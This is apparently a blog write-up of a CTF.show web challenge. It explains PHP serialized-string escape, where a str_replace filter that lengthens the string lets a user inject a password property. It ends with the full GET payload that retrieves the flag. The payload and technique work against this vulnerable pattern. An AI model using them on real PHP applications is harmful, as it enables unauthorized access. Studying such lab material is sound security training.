CTF.show:web1_此夜圆_web1此夜圆-CSDN博客
字符串逃逸基础
目的:
改变序列化字符串的长度,导致反序列化漏洞,通过替换序列化后字符串中某一个内容,导致某一串字符串变成了字符内容(个人理解,多多包含!)
特点:
- php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
- 总是先进行序列化,再进行替换修改操作。
函数:str_replace()
str_replace()函数用于在字符串中替换指定的内容
str_replace($search, $replace, $subject, $count);
$search:要被替换的字符串或字符串数组;
$replace:用于替换的字符串或字符串数组;
- $subject:需要进行替换操作的字符串或字符串数组;
- $count(可选):用于储存替换的次数。
基础:
1、反序列化结束符
反序列化以;}结束,后面的字符串不影响正常的反序列化,当然如果;}在成员属性中那么;}只能算是字符串,不能算是字符串
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:5:"b;}en";}';
就像在这种情况中,v2=b;}en的,其中;}不具有结束功能的
2、成员属性数量
成员属性数量需要与实际的成员属性数量对应
<?php
class A{
var $v1 = 'a'; //预定义里只有一个成员属性
}
echo serialize(new A());
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}'; //但这里增加了属性v2
var_dump(unserialize($b));
----------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
bool(false) //报错
我们只定义了一个成员属性v1,但是在$b里我们又增加了一个成员属性v2,这是不允许的,所以在输出的时候出现了报错,当然如果我们把
当然如果我们把
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';
改为
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';
那么他是正确的,会正常输出
3、字符串长度
成员属性字符串的长度必须与实际长度一致
O:1:"A":1:{s:2:"v1";s:3:"a"b";}
其中"是字符还是格式符号由字符串长度3来判断,这儿a和b之间的"是字符串,包裹ab的“是格式符号
例题
CTFSHOW--web1_此夜圆--字符串逃逸(增多)
打开环境什么都没有,下载附件index.php得到源码
index.php
<?php
// 禁用错误报告,以防止错误信息泄露
error_reporting(0);
// 定义一个类 a
class a
{
public $uname;
public $password;
// 构造函数,用于初始化对象的属性
public function __construct($uname, $password)
{
$this->uname = $uname;
$this->password = $password;
}
// 魔术方法 __wakeup,在对象反序列化时自动调用
public function __wakeup()
{
// 检查密码是否为 'yu22x'
if ($this->password === 'yu22x')
{
// 包含 'flag.php' 文件并输出 $flag 变量的值
include('flag.php');
echo $flag;
}
else
{
// 如果密码错误,输出 'wrong password'
echo 'wrong password';
}
}
}
// 定义一个过滤函数,用于替换字符串中的 'Firebasky' 为 'Firebaskyup'
function filter($string) {
return str_replace('Firebasky', 'Firebaskyup', $string);
}
// 获取 URL 参数中的 uname 值
$uname = $_GET[1];
$password = 1; // 设置密码为1
// 序列化新的 a 类对象并通过 filter 函数进行过滤
$ser = filter(serialize(new a($uname, $password)));
// 反序列化过滤后的字符串,并触发 __wakeup 方法
$test = unserialize($ser);
?>
只能get传入一个1参数,最后经反序列化后password==='yu22x’就能拿到flag。而1参数赋值给的是$uname,这里就涉及到了反序列化逃逸 。
在这一串中,将Firebasky替换为 Firebaskyup,多了两个字符
因为我们只能读入一个uname
,而原来的password
默认为1,试着构造
<?php
class a
{
public $uname='Firebasky";s:8:"password";s:5:"yu22x";}';
public $password=1;
}
$test=new a();
echo serialize($test)
?>
O:1:"a":2:{s:5:"uname";s:39:"Firebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
序列化之后,Firebasky替换为 Firebaskyup,那么uname里的字符串长度就变成41了,这个就会报错。其中,我们需要用";s:8:"password";s:5:"yu22x";}"把原来的s:8:"password";i:1;}给覆盖掉,那么就使得password=yu22x了,并且;}结束语句后,后面的s:8:"password";i:1;}也就没有用了
";s:8:"password";s:5:"yu22x";}" 一共有30个字符,而Firebasky替换为 Firebaskyup是多两个字符,那么我们就要构造15个Firebasky,来填充这30个字符,从而使";s:8:"password";s:5:"yu22x";}"变成字符串内容,覆盖了之前的s:8:"password";i:1;},并且s:8:"password";i:1;}变成了功能字符,没有作用,可有可无了
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}